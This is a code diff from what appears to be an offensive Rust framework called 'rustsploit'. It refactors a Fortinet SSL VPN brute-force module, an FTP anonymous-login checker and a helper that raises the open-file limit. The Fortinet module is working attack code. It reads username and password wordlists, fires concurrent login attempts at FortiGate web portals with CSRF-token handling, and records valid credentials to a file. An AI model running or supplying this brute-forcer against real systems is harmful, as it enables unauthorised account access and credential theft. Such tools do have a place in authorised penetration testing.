println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let mut rlim = rlimit {
|
||||
rlim_cur: 0,
|
||||
rlim_max: 0,
|
||||
};
|
||||
|
||||
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok((rlim.rlim_cur, rlim.rlim_max))
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
let rlim = rlimit {
|
||||
rlim_cur: soft,
|
||||
rlim_max: hard,
|
||||
};
|
||||
|
||||
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get current limits
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
current_hard
|
||||
} else {
|
||||
TARGET_FILE_LIMIT
|
||||
};
|
||||
|
||||
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
|
||||
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
println!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
println!();
|
||||
println!("{}", "=== Shell Instructions ===".bold());
|
||||
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
println!("{}", " ulimit -n 65535".white());
|
||||
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
println!("{}", " * soft nofile 65535".white());
|
||||
println!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -4,121 +4,90 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
io::Write,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_int_range,
|
||||
load_lines, prompt_wordlist, normalize_target,
|
||||
};
|
||||
use regex::Regex;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Fortinet SSL VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("Fortinet VPN Port", "443")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
|
||||
.parse().unwrap_or(443);
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
|
||||
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt")?)
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
|
||||
|
||||
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
|
||||
let realm = prompt_optional("Authentication realm (optional)")?;
|
||||
// Optional prompts
|
||||
// We don't have prompt_optional in shared utils yet?
|
||||
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
|
||||
// Actually utils has prompt_default. If user enters empty, it returns default.
|
||||
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
|
||||
// Let's implement a quick local helper or use prompt_default("", "") if that works.
|
||||
// The previous code had `prompt_optional`.
|
||||
// I will use prompt_default with empty default and check for empty string.
|
||||
|
||||
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
|
||||
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
|
||||
|
||||
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
|
||||
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
@@ -126,116 +95,87 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
// Generate all credential pairs based on mode
|
||||
let credential_pairs = if combo_mode {
|
||||
let mut pairs = Vec::new();
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
pairs.push((user.clone(), pass.clone()));
|
||||
}
|
||||
}
|
||||
pairs
|
||||
} else {
|
||||
// Cycle through users for each password
|
||||
passwords.iter().enumerate()
|
||||
.map(|(i, pass)| {
|
||||
let user = users[i % users.len()].clone();
|
||||
(user, pass.clone())
|
||||
})
|
||||
.collect()
|
||||
};
|
||||
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
|
||||
println!();
|
||||
|
||||
println!("[*] Testing {} credential combinations", credential_pairs.len());
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for (user, pass) in credential_pairs {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
// Work generation
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
|
||||
let base_url_clone = base_url.clone();
|
||||
let realm_clone = realm.clone();
|
||||
let trusted_cert_clone = trusted_cert.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(users.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
let user = &users[i % users.len()];
|
||||
let pass = &passwords[i % passwords.len()];
|
||||
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_fortinet_login(
|
||||
&base_url_clone,
|
||||
&user,
|
||||
&pass,
|
||||
&realm_clone,
|
||||
&trusted_cert_clone,
|
||||
timeout_duration
|
||||
).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", base_url_clone, user, pass);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks to complete
|
||||
// Wait for tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -243,6 +183,54 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_fortinet_task(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
user: String,
|
||||
pass: String,
|
||||
base_url: String,
|
||||
realm: Option<String>,
|
||||
trusted_cert: Option<String>,
|
||||
found: Arc<Mutex<Vec<(String, String, String)>>>,
|
||||
stop_signal: Arc<AtomicBool>,
|
||||
stats: Arc<BruteforceStats>,
|
||||
verbose: bool,
|
||||
stop_on_success: bool,
|
||||
timeout: Duration
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
|
||||
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
|
||||
stats.record_success();
|
||||
if stop_on_success {
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats.record_failure();
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_error(e.to_string()).await;
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
@@ -293,13 +281,13 @@ async fn try_fortinet_login(
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(ref r) = realm {
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref token) = csrf_token {
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
@@ -368,7 +356,7 @@ async fn try_fortinet_login(
|
||||
|
||||
// Check redirect location
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(ref loc_str) = location_header {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
@@ -403,116 +391,31 @@ fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
|
||||
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
|
||||
let normalized_host = normalize_target(target)?;
|
||||
|
||||
let url = if is_ipv6 {
|
||||
format!("https://[{}]:{}", clean_target, port)
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
} else {
|
||||
format!("https://{}:{}", clean_target, port)
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let url = if has_port {
|
||||
format!("https://{}", normalized_host)
|
||||
} else {
|
||||
format!("https://{}:{}", normalized_host, port)
|
||||
};
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"fortinet_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1,8 +1,19 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
@@ -25,6 +36,8 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -32,32 +45,36 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
